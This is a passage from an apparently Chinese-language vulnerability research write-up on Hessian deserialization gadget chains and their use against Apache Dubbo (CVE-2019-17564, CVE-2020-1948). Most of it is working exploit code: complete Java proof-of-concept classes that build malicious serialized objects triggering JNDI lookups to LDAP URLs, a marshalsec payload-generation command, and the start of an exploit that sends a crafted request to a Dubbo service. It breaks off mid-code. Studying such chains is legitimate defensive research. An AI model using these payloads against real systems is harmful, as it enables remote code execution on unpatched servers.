InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
触发lookup,后面自然不用多说了。
**调用栈**
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
readObject:86, Hessian2ObjectInput (org.apache.dubbo.serialize.hessian)
main:57, remotest
### SpringPartiallyComparableAdvisorHolder
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder ldap://127.0.0.1:1388/Exp
该gadget需要以下依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.0.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.1.3.RELEASE</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.6.10</version>
</dependency>
#### 构造分析
default Object makePartiallyComparableAdvisorHolder ( UtilFactory uf, String[] args ) throws Exception {
String jndiUrl = args[ 0 ];
BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl);
return SpringUtil.makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);
}
跟踪`SpringUtil.makeJNDITrigger`方法
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf;
}
public void setShareableResources(String... shareableResources) {
this.shareableResources.addAll(Arrays.asList(shareableResources));
}
该方法将jndiurl转换成一个list对象，然后传递调用`this.shareableResources.addAll()`方法，该方法对
`shareableResources`的`HashSet`进行addAll的操作
继续来到下面
设置logger的值为NoOpLog实例化对象，获取`bf.getJndiTemplate()`也进行同样操作。
接着返回bf的`BeanFactory`实例化对象
public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException,
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", name);
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
// make readObject happy if it is called
Reflections.setFieldValue(advice, "declaringClass", Object.class);
Reflections.setFieldValue(advice, "methodName", "toString");
Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
Class<?> pcahCl = Class
.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
return uf.makeToStringTriggerUnstable(pcah);
}
创建`BeanFactoryAspectInstanceFactory`的实例化对象，名为aif，并将bf变量和name分别反射赋值到beanFactory和name中。bf为上面获取的`BeanFactory`对象。
接着创建`AbstractAspectJAdvice`对象，将`aspectInstanceFactory`的值，设置为aif变量对象进行传递。
将advice的`declaringClass`、`methodName`、`parameterTypes`分别设置为`Object.class`、`toString`、`new
Class[0]`,创建`AspectJPointcutAdvisor`对象，将前面设置了一系列值的`advice`放置到`advisor`对象的`advice`变量中。
最后创建`org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder`对象，将`advisor`设置到该对象的`advisor`成员变量中。并且调用`uf.makeToStringTriggerUnstable(pcah);`
跟踪该方法
public static Object makeToStringTrigger ( Object o, Function<Object, Object> wrap ) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
与前面的一致，再次就不做分析了
**利用分析**
**poc**
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xpath.internal.objects.XString;
import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
public class SpringPartiallyComparableAdvisorHoldertest {
public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用，会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
//反序列化时AspectJAroundAdvice.getOrder会被调用，会触发BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);
//反序列化时AspectJPointcutAdvisor.getOrder会被调用，会触发AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
//反序列化时PartiallyComparableAdvisorHolder.toString会被调用，会触发AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
//反序列化时Xstring.equals会被调用，会触发PartiallyComparableAdvisorHolder.toString
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
//反序列化时HotSwappableTargetSource.equals会被调用，触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
//反序列化时HashMap.putVal会被调用，触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值，直接put会在本地触发利用链，所以使用marshalsec使用了比较特殊的处理方式。
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(sf);
hessian2Output.writeObject(s);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
// hessian2反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
}
}
以上代码
在序列化部分多出来了几行代码。我们知道，一般对于对象的序列化，如果对象对应的class没有对`java.io.Serializable`进行实现implement的话，是没办法序列化的，所以这里对输出流进行了设置，使其可以输出没有实现java.io.Serializable接口的对象。
将断点打到`com.caucho.hessian.io.MapDeserializer#readMap`
public Object readMap(AbstractHessianInput in) throws IOException {
...
while(!in.isEnd()) {
((Map)map).put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}
调用HashMap的put方法
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
与前面不同的是这里是借助putVal方法
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
key.equals方法位置进行跟踪
public boolean equals(Object other) {
return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}
调用obj2的toString
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}
public String toString() {
StringBuilder sb = new StringBuilder();
Advice advice = this.advisor.getAdvice();
sb.append(ClassUtils.getShortName(advice.getClass()));
sb.append(": ");
if (this.advisor instanceof Ordered) {
sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", ");
}
public int getOrder() {
return this.order != null ? this.order : this.advice.getOrder();
}
public int getOrder() {
return this.aspectInstanceFactory.getOrder();
}
public int getOrder() {
Class<?> type = this.beanFactory.getType(this.name);
if (type != null) {
return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, 2147483647);
} else {
return 2147483647;
}
}
public Class<?> getType(String name) throws NoSuchBeanDefinitionException {
try {
return this.doGetType(name);
} catch (NameNotFoundException var3) {
throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
} catch (NamingException var4) {
return null;
}
}
private Class<?> doGetType(String name) throws NamingException {
if (this.isSingleton(name)) {
Object jndiObject = this.doGetSingleton(name, (Class)null);
return jndiObject != null ? jndiObject.getClass() : null;
private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
synchronized(this.singletonObjects) {
Object jndiObject;
if (this.singletonObjects.containsKey(name)) {
jndiObject = this.singletonObjects.get(name);
if (requiredType != null && !requiredType.isInstance(jndiObject)) {
throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
} else {
return jndiObject;
}
} else {
jndiObject = this.lookup(name, requiredType);
this.singletonObjects.put(name, jndiObject);
return jndiObject;
}
}
}
到了该位置调用`this.lookup(name, requiredType);`
protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException {
Assert.notNull(jndiName, "'jndiName' must not be null");
String convertedName = this.convertJndiName(jndiName);
Object jndiObject;
try {
jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
public <T> T lookup(String name, Class<T> requiredType) throws NamingException {
Object jndiObject = this.lookup(name);
if (requiredType != null && !requiredType.isInstance(jndiObject)) {
throw new TypeMismatchNamingException(name, requiredType, jndiObject != null ? jndiObject.getClass() : null);
public Object lookup(final String name) throws NamingException {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Looking up JNDI object with name [" + name + "]");
}
return this.execute(new JndiCallback<Object>() {
public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {
Context ctx = this.getContext();
Object var3;
try {
var3 = contextCallback.doInContext(ctx);
} finally {
this.releaseContext(ctx);
}
return var3;
}
该位置获取InitialContext对象，传递到`var3 = contextCallback.doInContext(ctx);`方法进行继续调用
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
} else {
return located;
}
至此触发漏洞，该链比较长
**调用栈**
lookup:417, InitialContext (javax.naming)
doInContext:155, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:95, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support)
getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support)
getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation)
getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj)
getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj)
toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
main:87, SpringPartiallyComparableAdvisorHoldertest
### SpringAbstractBeanFactoryPointcutAdvisor
**构造分析**
default Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception {
String jndiUrl = args[ 0 ];
return SpringUtil.makeBeanFactoryTriggerBFPA(uf, jndiUrl, SpringUtil.makeJNDITrigger(jndiUrl));
}
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf;
}
public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception {
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(name);
return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
}
和前面差不多，再次不多做分析
**利用分析**
**poc**
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
public class SpringAbstractBeanFactoryPointcutAdvisortest {
public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
// bf
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(jndiUrl);
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, pcadv, pcadv, null));
Array.set(tbl, 1, nodeCons.newInstance(0, new DefaultBeanFactoryPointcutAdvisor(), new DefaultBeanFactoryPointcutAdvisor(), null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(sf);
hessian2Output.writeObject(s);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
// hessian2反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
// pcadv, new DefaultBeanFactoryPointcutAdvisor();
}
}
断点依旧打在`MapDeserializer`中，调用put方法，跟踪
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
public boolean equals(Object other) {
if (this == other) {
return true;
} else if (!(other instanceof PointcutAdvisor)) {
return false;
} else {
PointcutAdvisor otherAdvisor = (PointcutAdvisor)other;
return ObjectUtils.nullSafeEquals(this.getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(this.getPointcut(), otherAdvisor.getPointcut());
}
}
public Advice getAdvice() {
Advice advice = this.advice;
if (advice == null && this.adviceBeanName != null) {
Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'");
if (this.beanFactory.isSingleton(this.adviceBeanName)) {
advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);
这条链是借助调用getbean
public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
try {
return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType);
private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
synchronized(this.singletonObjects) {
Object jndiObject;
if (this.singletonObjects.containsKey(name)) {
jndiObject = this.singletonObjects.get(name);
if (requiredType != null && !requiredType.isInstance(jndiObject)) {
throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
} else {
return jndiObject;
}
} else {
jndiObject = this.lookup(name, requiredType);
this.singletonObjects.put(name, jndiObject);
return jndiObject;
}
}
}
protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException {
Assert.notNull(jndiName, "'jndiName' must not be null");
String convertedName = this.convertJndiName(jndiName);
Object jndiObject;
try {
jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType);
public <T> T lookup(String name, Class<T> requiredType) throws NamingException {
Object jndiObject = this.lookup(name);
ublic Object lookup(final String name) throws NamingException {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Looking up JNDI object with name [" + name + "]");
}
return this.execute(new JndiCallback<Object>() {
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
} else {
return located;
}
}
});
}
public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {
Context ctx = this.getContext();
Object var3;
try {
var3 = contextCallback.doInContext(ctx);
} finally {
this.releaseContext(ctx);
}
return var3;
}
public Object lookup(final String name) throws NamingException {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Looking up JNDI object with name [" + name + "]");
}
return this.execute(new JndiCallback<Object>() {
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
} else {
return located;
}
}
});
}
**调用栈**
lookup:417, InitialContext (javax.naming)
doInContext:155, JndiTemplate$1 (org.springframework.jndi)
execute:87, JndiTemplate (org.springframework.jndi)
lookup:152, JndiTemplate (org.springframework.jndi)
lookup:179, JndiTemplate (org.springframework.jndi)
lookup:95, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:112, SimpleJndiBeanFactory (org.springframework.jndi.support)
getAdvice:109, AbstractBeanFactoryPointcutAdvisor (org.springframework.aop.support)
equals:74, AbstractPointcutAdvisor (org.springframework.aop.support)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:2110, Hessian2Input (com.caucho.hessian.io)
main:59, SpringAbstractBeanFactoryPointcutAdvisortest
## 0x04 漏洞分析
### CVE-2019-17564 漏洞分析
**影响版本**
1. 2.7.0 <= Apache Dubbo <= 2.7.4.1
2. 2.6.0 <= Apache Dubbo <= 2.6.7
3. Apache Dubbo = 2.5.x
**漏洞调试**
下载`https://github.com/apache/dubbo-samples`,提取`dubbo-samples-http`模块，dubbo版本切换为2.7.3版本，并且加入cc组件依赖进行漏洞调试。
先看到`http-provider.xml`文件，该文件配置声明暴露服务。
<dubbo:application name="http-provider"/>
<dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
<dubbo:protocol name="http" id="http" port="${servlet.port:8087}" server="${servlet.container:tomcat}"/>
<bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>
<dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>
这里注册了`org.apache.dubbo.samples.http.api.DemoService`。
对`/org.apache.dubbo.samples.http.api.DemoService`接口发送payload，即gadget序列化数据，然后来到`org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service`方法中，将所有请求都会走`DispatcherServlet`进行处理。
protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
HttpHandler handler = (HttpHandler)handlers.get(request.getLocalPort());
if (handler == null) {
response.sendError(404, "Service not found.");
} else {
handler.handle(request, response);
}
}
跟进`handler.handle(request, response);`
来到`org.apache.dubbo.rpc.protocol.http.HttpProtocol#handle`
public void handle(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String uri = request.getRequestURI();
HttpInvokerServiceExporter skeleton = (HttpInvokerServiceExporter)HttpProtocol.this.skeletonMap.get(uri);
if (!request.getMethod().equalsIgnoreCase("POST")) {
response.setStatus(500);
} else {
RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort());
try {
skeleton.handleRequest(request, response);
} catch (Throwable var6) {
throw new ServletException(var6);
}
}
这里是获取url中的类名，然后从`skeletonMap`中取值将对应的`HttpInvokerServiceExporter`对象
跟进`skeleton.handleRequest(request, response);`
来到`org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest`
public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
RemoteInvocation invocation = this.readRemoteInvocation(request);
RemoteInvocationResult result = this.invokeAndCreateResult(invocation, this.getProxy());
this.writeRemoteInvocationResult(request, response, result);
} catch (ClassNotFoundException var5) {
throw new NestedServletException("Class not found during deserialization", var5);
}
}
跟进`this.readRemoteInvocation(request);`
来到`org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation`
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request) throws IOException, ClassNotFoundException {
return this.readRemoteInvocation(request, request.getInputStream());
}
`org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation`
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {
ObjectInputStream ois = this.createObjectInputStream(this.decorateInputStream(request, is));
RemoteInvocation var4;
try {
var4 = this.doReadRemoteInvocation(ois);
} finally {
ois.close();
}
return var4;
}
`this.doReadRemoteInvocation(ois);`
`org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation`
protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException {
Object obj = ois.readObject();
if (!(obj instanceof RemoteInvocation)) {
throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj));
} else {
return (RemoteInvocation)obj;
}
}
**疑惑留存**
1. skeletonMap这个map中的加载流程
2. skeletonMap中的`HttpInvokerServiceExporter`实例化对象如何拿到和构造的。
3. 初始化时，dubbo加载的`DispatcherServlet`是从哪配置的，从哪些代码去实现的。
**DispatcherServlet注册**
DispatcherServlet的注册逻辑在`org.apache.dubbo.remoting.http.tomcat.TomcatHttpServer`中。
内嵌的tomcat容器，给添加了servlet的注册
**版本更新**
对`skeletonMap`进行了修改，在获取`skeleton`之后就会调用`JsonRpcBasicServer.hanlde`，`JsonRpcBasicServer`是`JsonRpcServer`的父类,在该类中没有反序列化的危险操作。
### CVE-2020-1948
**漏洞简介**
Dubbo
2.7.6或更低版本采用hessian2实现反序列化，其中存在反序列化远程代码执行漏洞。攻击者可以发送未经验证的服务名或方法名的RPC请求，同时配合附加恶意的参数负载。当服务端存在可以被利用的第三方库时，恶意参数被反序列化后形成可被利用的攻击链，直接对Dubbo服务端进行恶意代码执行。
**漏洞版本**
Apache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
在实际测试中2.7.8仍旧可以打，而2.7.9失败
**漏洞复现**
修改`dubbo-samples/dubbo-samples-api/pom.xml`
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>
更改dubbo版本为2.7.3
启动dubbo-samples-api项目
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
public class GadgetsTestHessian {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:8087/ExecTest");
rs.setMatchColumn("foo");
Reflections.setFieldValue(rs, "listeners",null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
